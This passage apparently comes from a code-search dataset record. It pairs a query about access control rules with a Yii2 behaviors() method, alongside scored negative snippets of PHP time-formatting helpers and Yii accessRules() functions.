'00';\n\t\t\tif( (isset($data['minutos']) && $data['minutos'] =='') || (!isset($data['minutos'])) )\n\t\t\t\t$data['minutos'] = '00';\n\t\t\t\t\t\n\t\t\t$datahora = substr($data['data'],6,4) . \"-\" . substr($data['data'],3,2) . \"-\" . substr($data['data'],0,2) . \" \". $data['horas'] . \":\" . $data['minutos'] . \":00\";\n\t\t}\t\n\t\treturn $datahora;\n\t}", "function getTimestamp(){\n return date('m/d/Y G:h');\n}", "function reservation_min_to_hours($value,$type=\"H:i\"){\n return gmdate($type,$value*60);\n}", "function sec2time($sec){\n\t// Parameters:\t$sec\n\t//\t\t\t\tType: integer\n\t// Returns:\t\tstring\n\t$returnstring = \" \";\n\t$days = intval($sec/86400);\n\t$hours = intval ( ($sec/3600) - ($days*24));\n\t$minutes = intval( ($sec - (($days*86400)+ ($hours*3600)))/60);\n\t$seconds = $sec - ( ($days*86400)+($hours*3600)+($minutes * 60));\n\t// if($seconds =='') $seconds = '00';\n\n\t$returnstring .= ($days)?(($days == 1) ? \"1 Day \" : sprintf(\"%02d\", $days). \" Days \") : \"\";\n\t$returnstring .= ($days && $hours && !$minutes && !$seconds) ? \"\" : \"\";\n\t$returnstring .= ($days > 0 && $hours == 0)? \"00:\": \"\";\n\t$returnstring .= ($hours)?( ($hours == 1) ? \"01:\" : sprintf(\"%02d\", $hours) .\":\") : \"00:\";\n\t$returnstring .= (($days || $hours) && ($minutes && !$seconds))?\"\":\"\";\n\t$returnstring .= ($minutes)?( ($minutes == 1)?\"1:\": sprintf(\"%02d\", $minutes) .\":\"):\"00:\";\n\t$returnstring .= (($days || $hours || $minutes) && $seconds)?\"\":\"\";\n\t$returnstring .= ($seconds) ? (($seconds == 1)? \"1\" : sprintf(\"%02d\", $seconds)):\"00\";\n\tif ($returnstring != \" \") return ($returnstring);\n}", "function tgl_time_indo($date=null){\n $tglindo = date(\"d-m-Y H:i:s\", strtotime($date));\n $formatTanggal = $tglindo;\n return $formatTanggal;\n }", "function quita_segundos($hora)\n{\n\t$sin_sec=explode(\":\",$hora);\n\t$final = $sin_sec[0].\":\".$sin_sec[1];\n\treturn $final;\n}", "function FormatTime($time) {\n $hour = $time[0];\n $min = $time[1];\n\n $hourModulo12 = $hour % 12;\n if ($hourModulo12 == 0) $hourModulo12 = 12;\n\n if ($hour >= 12)\n $ampm = \"PM\";\n else\n $ampm = \"AM\";\n\n if ($hourModulo12 < 10)\n $hourStr = \"0\" . $hourModulo12;\n else\n $hourStr = $hourModulo12;\n if ($min < 10)\n $minStr = \"0\" . $min;\n else\n $minStr = $min;\n return $hourStr . \":\" . $minStr . $ampm;\n}", "public function get_time_hour() {\n return sprintf( '%02d', (int) edd_get_option( 'edd_commissions_payout_schedule_time_hr', '' ) );\n }", "protected function getTimeStamp() {\n return time().' ('.strftime( '%Y.%m.%d %H:%I:%S', time() ).')';\n }", "function sec2hms($sec, $padHours = false) {\r\n $hms = \"\";\r\n \r\n // do the hours first: there are 3600 seconds in an hour, so if we divide\r\n // the total number of seconds by 3600 and throw away the remainder, we're\r\n // left with the number of hours in those seconds\r\n $hours = intval(intval($sec) / 3600); \r\n\r\n // add hours to $hms (with a leading 0 if asked for)\r\n $hms .= ($padHours) \r\n ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). \":\"\r\n : $hours. \":\";\r\n \r\n // dividing the total seconds by 60 will give us the number of minutes\r\n // in total, but we're interested in *minutes past the hour* and to get\r\n // this, we have to divide by 60 again and then use the remainder\r\n $minutes = intval(($sec / 60) % 60); \r\n\r\n // add minutes to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). \":\";\r\n\r\n // seconds past the minute are found by dividing the total number of seconds\r\n // by 60 and using the remainder\r\n $seconds = intval($sec % 60); \r\n\r\n // add seconds to $hms (with a leading 0 if needed)\r\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\r\n\r\n // done!\r\n return $hms;\r\n \r\n}", "function sec2hms ($sec, $padHours = false) \n {\n\n $hours = intval(intval($sec) / 3600);\n $minutes = intval(($sec / 60) % 60);\n $seconds = intval($sec % 60); \n\t\n\t\n $hms = ($padHours?str_pad($hours, 2, \"0\", STR_PAD_LEFT):$hours). ':'.\n\t\t\tstr_pad($minutes, 2, \"0\", STR_PAD_LEFT). ':'.\n\t\t\tstr_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n\n return $hms;\n \n }", "function smarty_function_sC_template_printTimestampToTime($params, &$smarty)\n{\n\t//echo \"<pre>\";print_r($params[params]);echo \"</pre>\";\n\techo $timestamp;\n if (!isset($params['timestamp']) || $params['timestamp'] <= 0) {\n $params['timestamp'] = time();\n }\n\n if (isset($params['onlytime']) && $params['onlytime']) {\n $str = date(\"H:m:s\", $params['timestamp']);\n } else {\n $str = $params['timestamp'].', '.date(\"H:i:s\", $params['timestamp']);\n }\n\n return $str;\n}", "function format_time($value, $event, $is_avg) {\n\tif ($event === \"333fm\" && $is_avg == false) return $value;\n\n\tif ($event === \"333mbf\") {\n\t\t$difference = 99 - intval(substr($value,-9,2));\n\t\t$missed = intval(substr($value,-1,2));\n\t\t$time = intval(substr($value,-7,5));\n\t\t$solved = $difference + $missed;\n\t\t$tried = $solved + $missed;\n\t\t$minutes = intval(intval($time) / 60);\n\t\t$seconds = intval($time) % 60;\n\t\tif ($minutes>0) $seconds = \"0\".$seconds;\n\t\treturn \"$solved/$tried $minutes:\".sprintf(\"%02d\",$seconds);\n\t}\n\n\t$minutes = intval(intval($value) / 6000);\n\t$seconds = (intval($value) % 6000) / 100;\n\n\tif ($minutes > 0) {\n\t\treturn \"$minutes:\".sprintf(\"%05.2f\",$seconds);\n\t}\n\n\treturn sprintf(\"%.2f\",$seconds);\n}", "public function calcularTempo($tipoPubli,$indAberta){\n $horas = $this->calcularHoras();\n $minutos = $this->calcularMin();\n if($horas < 24){ // Menor que 1 dia\n if($minutos <= 60){ // Menor ou igual a 1 hora\n if($minutos == 0){ // Enviado agora mesmo\n $msg = \"agora\";\n }else if($minutos <= 59){ // Menor que 1 hora\n if($minutos == 1){ \n $msg = \"há 1 minuto\";\n }else if($minutos >= 2 && $minutos <= 59){\n $msg = \"há \". $minutos .\" minutos\";\n }else{ // Se os minutos forem menor que 0\n $msg = \"em \" . str_replace(\"/\", \" de \", $this->dataHoraEnvio->format('d/M/Y')) . \" às \" . $this->dataHoraEnvio->format('H:i');\n }\n }else{ // Igual a 1 hora\n $msg = \"há 1 hora\";\n }\n }else{ // Maior que 1 hora\n if($horas == 1){\n $msg = \"há 1 hora\";\n }else{\n \n $msg = \"há $horas horas\";\n }\n \n }\n }else{ // Maior que um dia\n if($horas >= 24 && $horas <= 48){ // menor q dois dias de diferenca\n $diasDiferenca = $this->dataHoraAgora->format('d') - $this->dataHoraEnvio->format('d');\n if($diasDiferenca == 1){\n $msg = \"ontem às \" . $this->dataHoraEnvio->format('H:i'); \n }else{ \n $msg = strftime('em %d de %B', strtotime($this->dataHoraEnvio->format('d-m-Y H:i:s'))) . \" às \" . $this->dataHoraEnvio->format('H:i');\n } \n }else if($this->dataHoraEnvio->format('Y') == $this->dataHoraAgora->format('Y')){ // Maior que dois dias e do mesmo ano \n $msg = strftime('em %d de %B', strtotime($this->dataHoraEnvio->format('d-m-Y H:i:s'))) . \" às \" . $this->dataHoraEnvio->format('H:i');\n }else{ // De outro ano\n $msg = strftime('em %d de %B de %Y', strtotime($this->dataHoraEnvio->format('d-m-Y H:i:s'))) . \" às \" . $this->dataHoraEnvio->format('H:i'); \n }\n }\n\n\n if($tipoPubli == \"debate\" && $indAberta == \"N\"){ // So cai nesse if se for debate e se nao estiver aberto \n $mensagem = $this->mensagemDebaNaoAberto($msg); \n }else{// se estiver aberto\n $mensagem = $this->mensagemPadrao($msg);\n } \n return $mensagem; \n }", "function resta($inicio, $fin){\n $dif=date(\"H:i:s\", strtotime(\"00:00:00\") + strtotime($fin) - strtotime($inicio) );\n return $dif;\n }", "function humanReadableTime($seconds) {\n\n\t$hours = '00';\n\t$mins = '00';\n\n\tif ($seconds > 0) {\n\t\t$hours = str_pad(floor($seconds / 3600), 2, '0', STR_PAD_LEFT);\n\t\t$seconds %= 3600;\n\t}\n\n\tif ($seconds > 0) {\n\t\t$mins = str_pad(floor($seconds / 60), 2, '0', STR_PAD_LEFT);\n\t\t$seconds %= 60;\n\t}\n\n\t$seconds = str_pad($seconds, 2, '0', STR_PAD_LEFT);\n\n\n\treturn \"$hours:$mins:$seconds\";\n\n}", "function dec_time()\n{\n $ds = 86400; // total seconds in day\n $dt = microtime(true) - mktime(0,0,0);\n\n $hs = $ds / pow(10,1);\n $ms = $ds / pow(10,3);\n $ss = $ds / pow(10,5);\n\n $hour = floor($dt/$hs);\n $min = floor($dt/$ms) - ($hour * 100);\n $sec = floor($dt/$ss) - ($hour * 10000) - ($min * 100);\n //$usec = floor($dt/$us) - ($hour * 10000) - ($min * 100);\n\n return sprintf('%01d',$hour).'h '.sprintf('%02d',$min).'m '.sprintf('%02d',$sec).'s';\n}", "public function format_time($format = 'i:s.u')\n\t{\n\t\treturn $this->udate($format, $this->endTimer-$this->startTimer);\n\t}", "function time_to_secs($time)\n{\n$timeArr = array_reverse(split(\":\", $time));\n$seconds = 0;\n$vals = Array(1, 60, 3600, 86400);\nforeach($timeArr as $key => $value)\n{\nif(!isset($vals[$key]))\nbreak;\n$seconds += $value * $vals[$key];\n}\nreturn $seconds;\n}", "public function format(): string\n {\n foreach ($this->times as $unit => $value) {\n if ($this->time >= $value) {\n $time = floor($this->time / $value * 100) / 100;\n return \"{$time} {$unit}\";\n }\n }\n\n return round($this->time * 1000) . \" ms\";\n }", "function calc_hour_and_minute($hora1, $hora2){\n $date_dato[1]=explode(':',$hora1);\n $date_dato[2]=explode(':',$hora2);\n\n $total[1] = ($date_dato[1][0]*60)+$date_dato[1][1];\n $total[2] = ($date_dato[2][0]*60)+$date_dato[2][1];\n\n $total = $total[2]-$total[1];\n\n return $total;\n}", "function humanTiming ($time)\n {\n\n $time = time() - $time; // to get the time since that moment\n $time = ($time<1)? 1 : $time;\n $tokens = array (\n 31536000 => 'tahun',\n 2592000 => 'bulan',\n 604800 => 'minggu',\n 86400 => 'hari',\n 3600 => 'jam',\n 60 => 'menit',\n 1 => 'detik'\n );\n\n foreach ($tokens as $unit => $text) {\n if ($time < $unit) continue;\n $numberOfUnits = floor($time / $unit);\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'');\n }\n\n }" ]
[ "0.7269037", "0.71296483", "0.7098273", "0.7076647", "0.7044935", "0.70112115", "0.7006062", "0.691743", "0.68598133", "0.6806676", "0.6798145", "0.677702", "0.67642313", "0.6760775", "0.6727123", "0.67222667", "0.6722199", "0.6715541", "0.67052835", "0.66988844", "0.66495425", "0.6619264", "0.6605632", "0.6595563", "0.6589831", "0.65469384", "0.653474", "0.652989", "0.6497579", "0.6494948", "0.6472011", "0.644538", "0.6440888", "0.64316833", "0.64167964", "0.6409824", "0.63987905", "0.6389472", "0.6376617", "0.637392", "0.6364051", "0.63424665", "0.63356984", "0.63294154", "0.63054264", "0.629951", "0.6295621", "0.6295195", "0.6273336", "0.6264741", "0.6261173", "0.6245759", "0.62452877", "0.6244918", "0.624134", "0.62286437", "0.6228285", "0.62205833", "0.62169075", "0.6209776", "0.62044317", "0.61881447", "0.6187979", "0.617803", "0.61764306", "0.6167244", "0.6161545", "0.6160982", "0.6159965", "0.6158874", "0.61508816", "0.61503047", "0.61474913", "0.61468387", "0.6145777", "0.614529", "0.61441106", "0.6132695", "0.6131922", "0.6122701", "0.6118757", "0.6102918", "0.60890603", "0.60874903", "0.6077376", "0.60751086", "0.60739857", "0.6070176", "0.6063199", "0.60623044", "0.60566825", "0.60495394", "0.60422456", "0.6033921", "0.60335135", "0.6031353", "0.60272676", "0.602323", "0.60219663", "0.6021925", "0.601125" ]
0.0
-1
Specifies the access control rules. This method is used by the 'accessControl' filter.
public function behaviors() { return [ 'access' => [ 'class' => \yii\filters\AccessControl::className(), 'rules' => [ // allow authenticated users [ 'allow' => true, 'roles' => ['@'], ], // everything else is denied ], ], ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow admins only\n\t\t\t\t'users'=>Yii::app()->getModule('user')->getAdmins(),\n\t\t\t),\n\t\t\tarray('allow',\n\t\t\t\t\t\t/*'users' => array(\"?\"),*/\n 'expression' => array($this,'isLogedInOrHasKey'),\n ),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n array('allow',\n 'actions'=>array('login','error','logout'),\n 'users'=>array('*'),\n ),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('index','delivery','settings'),\n\t\t\t\t'users'=>array('@'),\n 'expression'=>'AdmAccess::model()->accessAdmin()'\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow',\n\t\t\t\t'actions'=>array('create','update','index','delete', 'setIsShow', 'setIsAvailable', 'setIsNew'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', \n\t\t\t\t'actions'=>array('allotMore','allotOne'),\n\t\t\t\t'expression'=>array('PlaneAllotController','allowReadWrite'),\n\t\t\t),\n\t\t\tarray('allow', \n\t\t\t\t'actions'=>array('index'),\n\t\t\t\t'expression'=>array('PlaneAllotController','allowReadOnly'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions'=>array('list','show','captcha','PostedInMonth','PostedOnDate', 'search'),\n 'users'=>array('*'),\n ),\n array('allow',\n 'actions'=>array('ajaxBookmark','create'),\n 'users'=>array('@'),\n ),\n array('allow',\n 'expression'=>'Yii::app()->user->status=='.User::STATUS_ADMIN.\n '||Yii::app()->user->status=='.User::STATUS_WRITER,\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n array('allow',\n 'actions'=>array('index','delete','create', 'update','view'),\n 'expression'=>'($user->rule===\"admin\")'\n ),\n\t\t\tarray('deny',\n 'users'=>array('*'),\n ),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n array('allow',\n 'actions'=>array('index','delete','create', 'update','view'),\n 'expression'=>'($user->rule===\"admin\")'\n ),\n\t\t\tarray('deny',\n 'users'=>array('*'),\n ),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'expression' => 'Yii::app()->user->isAdmin()',\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'expression' => 'Yii::app()->user->isAdmin()',\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules() {\n return array(\n array(\n 'allow',\n 'actions' => array('index', 'archive', 'view', 'read', 'userListResults'),\n 'users' => array('@')\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('create','admin', 'update'),\n 'expression' => 'Yii::app()->user->isAdmin()',\n ),\n array(\n 'deny', // deny all users\n 'users' => array('*')\n )\n );\n }", "public function accessRules() {\n return array(\n array('allow',\n 'expression' => 'Yii::app()->user->isAdmin()',\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'update' and 'dynamicUpdate' actions\n\t\t\t\t'actions'=>array('update', 'dynamicUpdate'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'delete' actions\n\t\t\t\t'actions'=>array('create','delete'),\n\t\t\t\t'expression'=>'Yii::app()->user->isManager()',\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n Yii::app()->user->loginUrl = array(\"/cruge/ui/login\");\n\t\treturn array(\n\t\t\t\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('ajaxCopia','editaTemp','index','view','admin','revisaPendientes', 'create','update','admin','motMuestraPlan','checkPlanMot'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\t\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('deny', // deny not login users\n\t\t\t\t'users'=>array('?'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow',\n 'actions'=>array('admin','view'),\n 'roles'=>array('reader', 'writer')\n ),\n array('allow',\n\t\t\t\t'actions'=>array('create', 'update', 'delete'),\n 'roles'=>array('writer')\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow admin \n\t\t\t\t'actions' => array('customize'),\n\t\t\t\t'users' => array('@'),\n\t\t\t\t'expression' => '$user->isAdmin',\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users' => array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array(\n 'deny',\n 'actions' => array('oauthadmin'),\n ),\n );\n }", "public function accessRules() {\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t\t'actions'=>array('index','view'),\n\t\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t\t'actions'=>array('admin','update','create'), //adapted from code.google.com/p/yii-user/wiki/API\n\t\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow', \n 'actions'=>array('del','parse','authorize','operate'),\n 'users'=>array('@'),\n ),\n array('deny', \n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user\n\t\t\t\t'roles'=>array('arckanto-admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\t return array(\n array('allow',\n 'actions'=>array(),\n 'roles'=>array('admin'),\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow authenticated users to access all actions\n 'users' => array(Yii::app()->user->name),\n ),\n array('deny'),\n );\n }", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', \r\n\t\t\t\t'actions'=>array(\r\n 'admin',\r\n\r\n //Users\r\n\r\n 'users',\r\n 'checkstatus',\r\n 'activate',\r\n\r\n //Drivers\r\n 'drivers',\r\n 'loaddriverform',\r\n 'validatedriver',\r\n 'driverstatus',\r\n 'savedriverstatus',\r\n\r\n //Cars\r\n 'cars',\r\n 'loadcarform',\r\n 'validatecar',\r\n 'carstatus',\r\n 'savecarstatus',\r\n 'repairlogform',\r\n 'saverepairlog',\r\n ),\r\n\t\t\t\t'roles'=>array('rxAdmin'),\r\n\t\t\t),\r\n\r\n\t\t\tarray('deny', \r\n\t\t\t\t'actions'=>array(\r\n 'admin',\r\n 'users',\r\n 'checkstatus',\r\n 'activate',\r\n 'drivers',\r\n 'loaddriverform',\r\n 'validatedriver',\r\n 'driverstatus',\r\n 'savedriverstatus',\r\n 'cars',\r\n 'loadcarform',\r\n 'validatecar',\r\n 'carstatus',\r\n 'savecarstatus',\r\n 'repairlogform',\r\n 'saverepairlog',\r\n ),\r\n\t\t\t\t'roles'=>array('rxClient'),\r\n\t\t\t),\r\n \r\n array('allow', \r\n\t\t\t\t'actions'=>array(\r\n ),\r\n\t\t\t\t'roles'=>array('rxClient'),\r\n\t\t\t),\r\n\t\t\t\r\n\t\t\tarray('deny', // deny all other users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t\t\r\n\t\t);\r\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t 'actions'=>array('global', 'backup'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t\t'expression'=>'Yii::app()->user->isAdmin'\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\r\n\t\t\t\t'actions'=>array(''),\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array('index', 'selanno'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\r\n\t\t\t\t'actions'=>array('admin'),\r\n\t\t\t\t'users'=>array('admin'),\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','changeToStudent','update','create'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t\t'expression' => 'Yii::app()->user->isAdmin()',\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow',\n 'actions' => array(\n 'popup',\n 'gridView',\n 'excel',\n ),\n 'roles' => array('admin', 'super_admin', 'operations_admin', 'limited_admin')\n ),\n array('allow',\n 'actions' => array(\n 'updateStatus',\n 'list',\n 'update',\n 'delete',\n 'count',\n 'excelSummary',\n ),\n 'users' => array('@')\n ),\n array('deny',\n 'users' => array('*')\n )\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'expression'=>'helpers::isadmin()',\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','admin'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update'),\n//\t\t\t\t'users'=>array('@'),\n 'expression'=>'yii::app()->admin->isWAdmin()'\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('delete'),\n//\t\t\t\t'users'=>array('admin'),\n 'expression'=>'yii::app()->admin->isWDAdmin()'\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions' => array('view', 'updateAttribute', 'createContact', 'deleteContact'),\n 'users' => array('@'),\n ),\n/* array('allow',\n 'actions' => array('create', 'update', 'index', 'admin', 'delete'),\n 'roles' => array('ApplicationAdministrator'),\n ),*/\n array('deny',\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array( \n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n );\n\t}", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions'=>array('form','save'),\n 'expression'=>array('OrderAccController','allowReadOnly'),\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n//\t\t\tarray('allow', allow admin user to perform 'admin' and 'delete' actions\n//\t\t\t\t'actions'=>array('admin','delete','upload'),\n//\t\t\t\t'users'=>array('admin'),\n//\t\t\t),\n// array('allow',\n// 'actions'=>array('download'),\n// 'users'=>'@',\n// ),\n//\t\t\tarray('deny', deny all users\n//\t\t\t\t'users'=>array('*'),\n//\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'create'\n 'actions' => array('create'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('update', 'view', 'index'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array('admin', 'delete', 'createtechnician'),\n 'expression' => 'Yii::app()->user->checkAccess(\\'manager\\')'\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('admin', 'view', 'update','response','exportPdf','viewPdf','uploadPdf','agreementPdf','viewAgreement','generalDataEntry','financeDataEntry','externalForm','prospect','create','delete'),\n\t\t\t\t'roles'=>array('admin', 'commercial', 'commercial_manager', 'media_manager','finance','affiliates_manager', 'media_buyer_admin','account_manager_admin','operation_manager'),\n\t\t\t),\n\t\t\tarray('allow',\n\t\t\t\t'actions'=>array('financeDataEntry','generalDataEntry'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\t// array('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t// \t'actions'=>array('create','update'),\n\t\t\t// \t'users'=>array('@'),\n\t\t\t// ),\n\t\t\t// array('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t// \t'actions'=>array('admin','delete'),\n\t\t\t// \t'users'=>array('admin'),\n\t\t\t// ),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow',\n 'actions' => array('bind', 'merge', 'index'),\n 'users' => array('@'),\n ),\n array('allow',\n 'actions' => array('list'),\n 'expression' => array(__CLASS__, 'allowListOwnAccessRule'),\n 'users' => array('@'),\n ),\n array('allow',\n 'actions' => array('delete', 'edit'),\n 'expression' => array(__CLASS__, 'allowModifyOwnAccessRule'),\n ),\n array('allow',\n 'actions' => array('list', 'delete', 'index', 'edit'),\n 'roles' => array('admin'),\n 'users' => array('@'),\n ),\n array('deny',\n 'actions' => array('bind', 'delete', 'index', 'list', 'merge'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions' => array(\n \t'login', 'registration', 'captcha', \n \t'verify', 'forget'\n ),\n 'users' => array('*'),// для всех\n ),\n array('allow',\n 'actions' => array(\n \t'index', 'range', 'logout', \n \t'file', 'commercial', 'data', \n \t'view', 'payRequest', 'offers',\n 'onOffer', 'offOffer', 'changeOffer', 'change',\n ),\n 'roles' => array('user'),// для авторизованных\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules() {\n\t\treturn array();\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // @代表有角色的\n 'actions'=>array('view','change','see'),\n 'users'=>array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions'=>array('create','see','update','delete'),\n 'expression'=>'$user->getState(\"info\")->authority >= 1',//,array($this,\"isSuperUser\"),\n ),\n array('deny', // *代表所有的用户\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow admin user to perform 'create', 'update', 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>Yii::app()->user->getAdmins(),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n \treturn array (\n \t\t\tarray (\n \t\t\t\t\t'allow',\n \t\t\t\t\t//'actions' => array ('*'),\n \t\t\t\t\t'roles' => array ('admin')\n \t\t\t),\n \t\t\tarray (\n \t\t\t\t\t'deny', // deny all users\n \t\t\t\t\t'users' => array ('*')\n \t\t\t)\n \t);\n }", "public function accessRules()\n {\n return array(\n array('deny',\n 'actions'=>array('login', 'register'),\n 'users'=>array('@'),\n ),\n array('deny',\n 'actions'=>array('customer', 'history', 'historyItem'),\n 'users'=>array('?'),\n ),\n array('allow',\n 'users'=>array('*'),\n 